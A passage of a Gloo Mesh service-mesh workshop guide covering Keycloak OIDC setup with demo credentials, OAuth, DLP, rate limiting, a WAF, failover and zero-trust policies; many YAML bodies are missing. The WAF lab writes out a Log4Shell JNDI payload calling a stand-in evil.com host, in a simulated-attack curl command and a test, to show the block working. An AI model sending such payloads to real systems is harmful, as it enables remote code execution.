minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 13 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 14 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 15 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: '${jndi:ldap://evil.com/x}'}], body: 'Log4Shell malicious payload' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-waf/tests/waf.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following command to simulate an attack: + +```bash +curl -H "User-Agent: \${jndi:ldap://evil.com/x}" -k "https://cluster1-httpbin.example.com/get" -i +``` + +The request should be rejected: + +```,nocopy +HTTP/2 403 +content-length: 27 +content-type: text/plain +date: Tue, 05 Apr 2022 10:20:06 GMT +server: istio-envoy + +Log4Shell malicious payload +``` + +Let's apply the original `RouteTable` yaml: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + +In this lab, you will incrementally add services to the mesh. The mesh is actually integrated with the services themselves which makes it mostly transparent to the service implementation. + +Before we start, take a look at the UI Graph. You can see the gateway and the services that have interacted with it. The services are not part of the mesh yet, so you can't see the traffic between them. +![UI-no-Mesh](images/steps/adding-services-to-mesh/ui-no-mesh.png) + +## Sidecar injection + +Adding services to the mesh requires that the client-side proxies be associated with the service components and registered with the control plane. With Istio, you have several methods to inject the Envoy Proxy sidecar into the microservice Kubernetes pods: + +* Automatic sidecar injection. In this mode, the sidecar is automatically injected into the pods based on the namespace annotation. +* Manual sidecar injection. In this mode, you manually inject the sidecar into the pods. +1. To enable the automatic sidecar injection, use the command below to add the label `istio.io/rev` to the `bookinfo-frontends` namespace: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-frontends istio.io/rev=1-19 +``` + +2. Validate the namespace is annotated with the `istio.io/rev` label: + +```shell +kubectl --context ${CLUSTER1} get namespace -L istio.io/rev +kubectl --context ${CLUSTER2} get namespace -L istio.io/rev +``` +Now that you have a namespace with automatic sidecar injection enabled, you are ready to start adding services to the mesh. Since you added the istio.io/rev label to the namespace, the Istio mutating admission controller automatically injects the Envoy Proxy sidecar during the initial deployment or restart of the pod. + +## Adding services to the mesh +1. You can add a sidecar to each of the services in the `bookinfo-frontends` namespace, starting with the `productpage-v1` service: + +```bash +kubectl --context ${CLUSTER1} rollout restart deployment productpage-v1 -n bookinfo-frontends +kubectl --context ${CLUSTER2} rollout restart deployment productpage-v1 -n bookinfo-frontends +``` + + +2. Validate the `productpage` pod is running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pod -l app=productpage -n bookinfo-frontends +kubectl --context ${CLUSTER2} get pod -l app=productpage -n bookinfo-frontends +``` + +You should see `2/2` in the output. This indicates the sidecar proxy is running alongside the `productpage` application container in the `productpage` pod: +```text,nocopy +NAME READY STATUS RESTARTS AGE +productpage-7d5ccfd7b4-m7lkj 2/2 Running 0 9m4s +``` + +3. Validate the `productpage` pod log looks good: + +```shell +kubectl --context ${CLUSTER1} logs deploy/productpage-v1 -c productpage -n bookinfo-frontends +``` + +4. Validate you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## Add more services to the Istio service mesh + +Now that you have added the `productpage` service to the mesh, you can add the other services to the mesh as well. The `details`, `reviews`, and `ratings` services are part of the `bookinfo-backends` namespace. + +1. First, you need to annotate the `bookinfo-backends` namespace to enable automatic sidecar injection: + +```bash +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 +kubectl --context ${CLUSTER2} label namespace bookinfo-backends istio.io/rev=1-19 +``` + +2. Next, you can add the `istio-proxy` sidecar to the other services in the `bookinfo-backends` namespace + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout restart deployment +kubectl --context ${CLUSTER2} -n bookinfo-backends rollout restart deployment +``` + + +3. Validate that all the pods in the `bookinfo-backends` namespace are running with Istio's default sidecar proxy injected: + +```shell +kubectl --context ${CLUSTER1} get pods -n bookinfo-backends +kubectl --context ${CLUSTER2} get pods -n bookinfo-backends +``` + +4. Verify that you can continue to call the `productpage` service securely: + +[http://cluster1-bookinfo.example.com/productpage](http://cluster1-bookinfo.example.com/productpage) + +## What have you gained? + +One of the values of using a service mesh is that you will gain immediate insight into the behavior and interactions between your services. Istio gives you access to important telemetry data, just by adding services to the mesh. In addition, you get a lot of functionality for free, such as load balancing, circuit breaking, mutual TLS, and more. + +You can see now the services in the UI Graph, the traffic between them, and if they are healthy or not. +![UI-Mesh](images/steps/adding-services-to-mesh/ui-mesh.png) + + + + + + +## Lab 19 - Traffic policies +[VIDEO LINK](https://youtu.be/ZBdt8WA0U64 "Video Link") + +We're going to use Gloo Mesh policies to inject faults and configure timeouts. + +Let's create the following `FaultInjectionPolicy` to inject a delay when the `v2` version of the `reviews` service talk to the `ratings` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const chaiHttp = require("chai-http"); +chai.use(chaiHttp); + +process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; + +afterEach(function (done) { + if (this.currentTest.currentRetry() > 0) { + process.stdout.write("."); + setTimeout(done, 1000); + } else { + done(); + } +}); + +let searchTest="Sorry, product reviews are currently unavailable for this book."; + +describe("Reviews shouldn't be available", () => { + it("Checking text '" + searchTest + "' in cluster1", async () => { + await chai.request(`https://cluster1-bookinfo.example.com`) + .get('/productpage') + .send() + .then((res) => { + expect(res.text).to.contain(searchTest); + }); + }); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/traffic-policies/tests/traffic-policies-reviews-unavailable.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh the page several times, you'll see an error message telling that reviews are unavailable when the productpage is trying to communicate with the version `v2` of the `reviews` service. + +![Bookinfo reviews unavailable](images/steps/traffic-policies/reviews-unavailable.png) + +This diagram shows where the timeout and delay have been applied: + +![Gloo Mesh Traffic Policies](images/steps/traffic-policies/gloo-mesh-traffic-policies.svg) + +Let's delete the Gloo Mesh objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete faultinjectionpolicy ratings-fault-injection +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable ratings +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete retrytimeoutpolicy reviews-request-timeout +kubectl --context ${CLUSTER1} -n bookinfo-frontends delete routetable reviews +``` + + + +## Lab 20 - Create the Root Trust Policy +[VIDEO LINK](https://youtu.be/-A2U2fYYgrU "Video Link") + +To allow secured (end-to-end mTLS) cross cluster communications, we need to make sure the certificates issued by the Istio control plane on each cluster are signed with intermediate certificates which have a common root CA. + +Gloo Mesh fully automates this process. + + + +Run the following command to create the *Root Trust Policy*: + +```bash +kubectl apply --context ${MGMT} -f - </dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" + +printf "\nWaiting until the secret is created in $CLUSTER2" +until kubectl --context ${CLUSTER2} get secret -n istio-system cacerts &>/dev/null +do + printf "%s" "." + sleep 1 +done +printf "\n" +--> + + + + + + + + + + + + + + +We also need to make sure we restart our `in-mesh` deployment because it's not yet part of a `Workspace`: + +```bash +kubectl --context ${CLUSTER1} -n httpbin rollout restart deploy/in-mesh +``` + + + + +## Lab 21 - Leverage Virtual Destinations for east west communications + +We can create a Virtual Destination which will be composed of the `reviews` services running in both clusters. + +Let's create this Virtual Destination. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +It's nice, but you generally want to direct the traffic to the local services if they're available and failover to the remote cluster only when they're not. + +In order to do that we need to create 2 other policies. + +The first one is a `FailoverPolicy`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("The productpage service should get responses from cluster2", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl -n bookinfo-frontends get pods -l app=productpage -o jsonpath='{.items[0].metadata.name}' --context " + process.env.CLUSTER1 }).replaceAll("'", ""); + const command = "kubectl -n bookinfo-frontends exec " + podName + " --context " + process.env.CLUSTER1 + " -- python -c \"import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)\""; + it('Got a response from cluster1', () => helpers.genericCommand({ command: command, responseContains: "cluster1" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/east-west-virtual-destination/tests/reviews-from-cluster1.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Now, if you try to access the `reviews` service, you should only get responses from `cluster1`. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +If the `reviews` service doesn't exist on the first cluster, the `productpage` service of this cluster will automatically use the `reviews` service running on the other cluster. + +Let's try this: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=0 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.spec.replicas}'=0 deploy/reviews-v2 +``` + + + +You can still access the reviews application even if the `reviews` service isn't running in `cluster1` anymore. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Let's restart the `reviews` services: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v1 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends scale deploy/reviews-v2 --replicas=1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends wait --for=jsonpath='{.status.readyReplicas}'=1 deploy/reviews-v2 +``` + +But what happens if the `reviews` services is running, but is unavailable ? + +Let's try! + +The following commands will patch the deployments to run a new version which won't respond to the incoming requests. + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v1 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deploy reviews-v2 --patch '{"spec": {"template": {"spec": {"containers": [{"name": "reviews","command": ["sleep", "20h"]}]}}}}' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + + + +You can still access the bookinfo application. + +```bash +kubectl --context $CLUSTER1 -n bookinfo-frontends exec deploy/productpage-v1 -- python -c "import requests; r = requests.get('http://reviews.global:9080/reviews/0'); print(r.text)" +``` + +Run the following commands to make the `reviews` service available again in the first cluster + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v1 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends patch deployment reviews-v2 --type json -p '[{"op": "remove", "path": "/spec/template/spec/containers/0/command"}]' +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v1 +kubectl --context ${CLUSTER1} -n bookinfo-backends rollout status deploy/reviews-v2 +``` + +Let's delete the different objects we've created: + +```bash +kubectl --context ${CLUSTER1} -n bookinfo-backends delete virtualdestination reviews +kubectl --context ${CLUSTER1} -n bookinfo-backends delete failoverpolicy failover +kubectl --context ${CLUSTER1} -n bookinfo-backends delete outlierdetectionpolicy outlier-detection +``` + + + +## Lab 22 - Zero trust +[VIDEO LINK](https://youtu.be/BiaBlUaplEs "Video Link") + +In the previous step, we federated multiple meshes and established a shared root CA for a shared identity domain. + +All the communications between Pods in the mesh are now encrypted by default, but: + +- communications between services that are in the mesh and others which aren't in the mesh are still allowed and not encrypted +- all the services can talk together + +Let's validate this. + + +Run the following commands to initiate a communication from a service which isn't in the mesh to a service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + +You should get a `200` response code which confirm that the communication is currently allowed. + + + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You should get a `200` response code again. + +To enfore a zero trust policy, it shouldn't be the case. + +We'll leverage the Gloo Mesh workspaces to get to a state where: + +- communications between services which are in the mesh and others which aren't in the mesh aren't allowed anymore +- communications between services in the mesh are allowed only when services are in the same workspace or when their workspaces have import/export rules. + +The Bookinfo team must update its `WorkspaceSettings` Kubernetes object to enable service isolation. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); +describe("Communication not allowed", () => { + it("Response code shouldn't be 200", () => { + const podName = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin get pods -l app=not-in-mesh -o jsonpath='{.items[0].metadata.name}'" }).replaceAll("'", ""); + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n httpbin debug -i -q " + podName + " --image=curlimages/curl -- curl -s -o /dev/null -w \"%{http_code}\" --max-time 3 http://reviews.bookinfo-backends:9080/reviews/0" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/zero-trust/tests/not-in-mesh-to-in-mesh-not-allowed.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Run the following commands to initiate a communication from a service which is in the mesh to another service which is in the mesh: + +``` +pod=$(kubectl --context ${CLUSTER1} -n httpbin get pods -l app=in-mesh -o jsonpath='{.items[0].metadata.name}') +kubectl --context ${CLUSTER1} -n httpbin debug -i -q ${pod} --image=curlimages/curl -- curl -s -o /dev/null -w "%{http_code}" http://reviews.bookinfo-backends.svc.cluster.local:9080/reviews/0 +``` + + + +You shouldn't get a `200` response code, which means that the communication isn't allowed. + +You've see seen how Gloo Platform can help you to enforce a zero trust policy (at workspace level) with nearly no effort. + +Now we are going to define some additional policies to achieve zero trust at service level. + +We are going to define AccessPolicies from the point of view of a service producers. + +> I am owner of service A, which services needs to communicate with me? + +![Gloo Mesh Gateway](images/steps/zero-trust/gloo-mesh-gateway.svg) + +Productpage app is the only service which is exposed to the internet, so we will create an `AccessPolicy` to allow the Istio Ingress Gateway to forward requests to the productpage service. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +var chai = require('chai'); +var expect = chai.expect; +const helpers = require('./tests/chai-exec'); + +describe("Communication status", () => { + + it("Response code shouldn't be 200 accessing ratings", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://ratings.bookinfo-backends:9080/ratings/0', timeout=3); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).not.to.contain("200"); + }); + + it("Response code should be 200 accessing reviews with GET", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.get('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("200"); + }); + + it("Response code should be 403 accessing reviews with HEAD", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = requests.head('http://reviews.bookinfo-backends:9080/reviews/0'); print(r.status_code)\"" }).replaceAll("'", ""); + expect(command).to.contain("403"); + }); + + it("Response code should be 200 accessing details", () => { + const command = helpers.getOutputForCommand({ command: "kubectl --context " + process.env.CLUSTER1 + " -n bookinfo-frontends exec deploy/productpage-v1 -- python -c \"import requests; r = 